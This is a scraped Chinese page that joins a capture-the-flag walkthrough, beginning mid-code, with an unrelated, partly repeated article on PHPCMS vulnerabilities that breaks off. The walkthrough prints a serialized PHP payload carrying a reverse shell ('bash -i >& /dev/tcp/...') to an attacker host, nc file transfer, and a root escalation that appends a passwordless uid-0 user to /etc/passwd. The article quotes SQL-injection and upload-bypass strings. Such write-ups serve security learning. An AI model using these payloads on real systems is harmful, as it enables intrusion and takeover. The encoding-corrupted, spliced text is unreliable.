public $output = ""; -- 空值
這是之前抓取的報文中obj對象中有的內容
function validate() {-- 定義了一個(gè)函數
if (!$this->isValid) { -- 校驗isValid函數是真還是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用過(guò)濾器對傳入的IpAddress使用方法(使用filter_var進(jìn)行判斷)
$this->isValid = True;--fileter_var函數校驗賦值若成功,將這個(gè)valid值變?yōu)門(mén)rue
}
}
$this->ping(); -- 執行Ping的命令;
}
public function ping() -- 以下是ping 的命令函數具體操作內容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 執行內容就是使用ping 三個(gè)報文;
這里需要明白的是過(guò)濾器FILTERVALIDATE_IP 里的內容是在目標靶機中別的文件里進(jìn)行定義的,其作用就是判斷輸入的內容是不是真正的IP,若是真正的IP,就將isValid改為T(mén)rue;
當post請求接收到來(lái)自obj請求的賦值時(shí),進(jìn)行一個(gè)解碼的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解碼
} else {
$pingTest = new pingTest; -- 新的賦值
}
$pingTest->validate(); --調用vali
分析完成后,攻擊思路的重點(diǎn)放在提交的數據(IP地址)校驗結果取決于與isvalid判定的結果,在源碼文件中,默認isValid = False,若是生成一個(gè)序列化的數據,聲明isValid值就等于True,這樣的話(huà),就會(huì )執行ping命令了!
實(shí)現繞過(guò)服務(wù)端的檢查!
反序列化漏洞的利用方法
先在客戶(hù)端上生成一個(gè)序列化的數據序列(內容中需要聲明類(lèi),調用類(lèi)創(chuàng )建一個(gè)新的序列化對象,,對象中的valid指定true,注入Ip地址后添加系統指令)實(shí)現饒過(guò)isValid真假的校驗。
在kali上新建一個(gè)生成序列化的php文件,寫(xiě)一個(gè)ser1.php的php的代碼
運行該php文件
生成了一個(gè)序列,將這個(gè)序列化的內容拷貝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將序列化內容粘貼到截獲的報文之中去
將這個(gè)url 地址轉換一下
能夠看到有兩個(gè)鍵值對 ipaddress 和isvalid
b=1 為布爾值,代表了真的意思!
點(diǎn)擊發(fā)送,服務(wù)端返回了http狀態(tài)碼200
再觀(guān)察服務(wù)端渲染回來(lái)的界面結果,看起來(lái),是執行成功了!
再次驗證結果,將生成序列化里的內容,稍作修改,將ipaddress改成另外一個(gè)Ip地址,(注意,如果改202.106.0.20這個(gè)IP,字符長(cháng)度就要從原來(lái)的9變?yōu)?2)要不然服務(wù)端會(huì )回顯500的狀態(tài)碼!
結果成功!
由此,可以證明構造序列化的數據向服務(wù)端提交請求!,ip地址后面加入一些系統指令,來(lái)進(jìn)一步證明!
這里我在223.5.5.5后面增加了 ;id
服務(wù)端回顯了200的狀態(tài)碼
渲染界面里提示成功!
觀(guān)察服務(wù)端回顯的回應源數據文件
id的命令被執行了,目標靶機的第一個(gè)用戶(hù)身份是apache的用戶(hù)名稱(chēng)
因此,就可以在此處插入更多的指令
查看目標靶機中是否有nc的命令?
結果命令沒(méi)有回顯
由于插入常規的反彈shell 會(huì )導致字符長(cháng)度過(guò)長(cháng),出于簡(jiǎn)單的目的,使用bash直接連接,產(chǎn)生網(wǎng)絡(luò )連接的方式!
輸入以下內容:
在kali中繼續修改ser1.php文件
保存ser1.php文件后,在kali上開(kāi)啟偵聽(tīng)3028端口
再次運行 ser1.php文件,生成一個(gè)新的序列化數據O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將這個(gè)序列化的數據內容插入的repter之中,點(diǎn)擊發(fā)送!
如圖所示:獲得了一個(gè)反彈shell的鏈接!身份是apche
本地提權
先收獲第一個(gè)flag!
查看操作系統版本
查看 sudo 權限以及尋找suid文件漏洞,都沒(méi)有得到有效的線(xiàn)索!
查看 目標系統內的所有用戶(hù)
發(fā)現有一個(gè)rocky的用戶(hù)可以登錄系統!

查看rocky用戶(hù)下的所有文件
重點(diǎn)放在了public_html下的文件,可以看到44441端口下的一些文件
進(jìn)入到該文件目錄,查看index.php 這個(gè)文件,發(fā)現內容和我之前下載的那個(gè)文件內容一樣!類(lèi)中的定義也是一樣的!
查看目標靶機的系統進(jìn)程
沒(méi)有發(fā)現可利用的線(xiàn)索 (mysql用的是非root)
目標靶機啟用了大量的端口!
這就是在端口掃描階段,端口結果沒(méi)有應用的原因!靶機作者用nc空開(kāi)了許多無(wú)用的端口!
在漫長(cháng)的信息收集后,決定使用一個(gè)監視目標靶機進(jìn)程產(chǎn)生的工具
pspy64一個(gè)linux系統進(jìn)程監控工具
下載地址:
部分網(wǎng)絡(luò )環(huán)境需要掛的代理訪(fǎng)問(wèn)
百度云下載地址:
提取碼:1zrs
從該軟件的自述文件可以得知,不需要root身份就可以監控用戶(hù)(操作系統)的新的進(jìn)程創(chuàng )建,符合目前靶機的情況,來(lái)搜尋后臺的進(jìn)程-crond,這些后臺進(jìn)程會(huì )運行腳本文件(這些進(jìn)程是root身份運行,比如定時(shí)任務(wù)什么的)
我現將這個(gè)軟件上傳到我的kali上去,因為目標靶機的系統是64位,因此我下載的這個(gè)Pspy也是64位的!
先查看目標靶機的定時(shí)任務(wù)和root下的定時(shí)任務(wù)
在root下提示是沒(méi)有權限的!
將pspy64這個(gè)文件上傳到目標靶機之中,查看目標靶機系統是否會(huì )在一段時(shí)間過(guò)后,自動(dòng)創(chuàng )建一些后臺進(jìn)程(這些進(jìn)程由root身份運行的呢?)
通過(guò)觀(guān)察,在這個(gè)路徑下,我目前的身份是apache ,而這些文件的用戶(hù)組是apche,是擁有所有的權限的,包括了寫(xiě)入的權限!
因此,我利用nc 來(lái)接收這個(gè)pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
傳入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加執行權限到pspy文件~
啟動(dòng)改文件 ./pspy
這個(gè)啟動(dòng)和執行過(guò)程需要等待一會(huì ),系統會(huì )不會(huì )有新的進(jìn)程出現
??!
1:33
在后臺進(jìn)程中,我發(fā)現了一個(gè)叫做chown.sh的腳本,眾所周知chown是linux的一個(gè)命令
這應該是管理員自己創(chuàng )建的一個(gè)腳本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上監聽(tīng)3031端口,增加一個(gè)反彈shell的連接
修改之前抓取的obj對象里數據內容,將之前觸發(fā)序列化漏洞的數據,有一個(gè)端口改為3031
查看目標靶機里的文件,能夠查看到這個(gè)文件的權限是可以被其他用戶(hù)所讀取
查看該chown.sh文件
看起來(lái)是將周期性的這個(gè)/home/rocky/public_html/* 這個(gè)目標文件夾下所有的文件權限改成屬主是rocky,屬組是apache
這就是我之前有一個(gè)chmod +x 執行失敗的原因,正好趕上周期性的將這個(gè)目錄下所有文件的屬主和屬組改變,讓我無(wú)法修改
一個(gè)周期過(guò)后,我在看這個(gè)public_html下所有的文件的屬主和屬組都發(fā)生了變化!
那么,這個(gè)命令腳本內容對目前滲透有什么幫助呢?
軟連接這個(gè)命令這個(gè)時(shí)候就派上了用場(chǎng)!
先來(lái)看一下系統的/etc/passwd這個(gè)文件的屬主和屬組
在kali上只有root用戶(hù)有可讀可寫(xiě)權限,其他的只有讀的權限
在目標靶機中的這個(gè)/etc/passwd文件是屬主和屬組擁有完全權限!
難么在靶機的這個(gè)/home/rocky/public_html下也新建一個(gè)Passwd文件,并連接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
這個(gè)chown.sh腳本在周期性的執行,會(huì )把這個(gè)/home/rokcy/public_html下的passwd文件屬主改為rocky, 屬組改為apache!
等待一段時(shí)間觀(guān)察,監控到chown腳本周期執行,權限會(huì )發(fā)生變化,
可是圖中的passd權限卻沒(méi)有發(fā)生變化!
按照理論目標靶機的/etc/passwd這個(gè)文件的屬主和屬組也會(huì )被修改成rokcy和apache的!
觀(guān)察,/etc/passwd這個(gè)文件的屬主和屬組變化了!
這樣的話(huà)就可以將root密碼設為空了!
因為當前獲得的反彈shell 不太穩定
我這里新建一個(gè)用戶(hù),密碼占位符x 刪除掉,不需要密碼,使用的是uid和gid都為0的設置,了解linux用戶(hù)屬性的都知道uid=0 gid=0 的賬號一定是root角色,并將這些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切換到daidai這個(gè)用戶(hù)
提權成功,獲取flag
到此結束,打靶結束!
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 71 次瀏覽 ? 2022-06-28 22:05
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
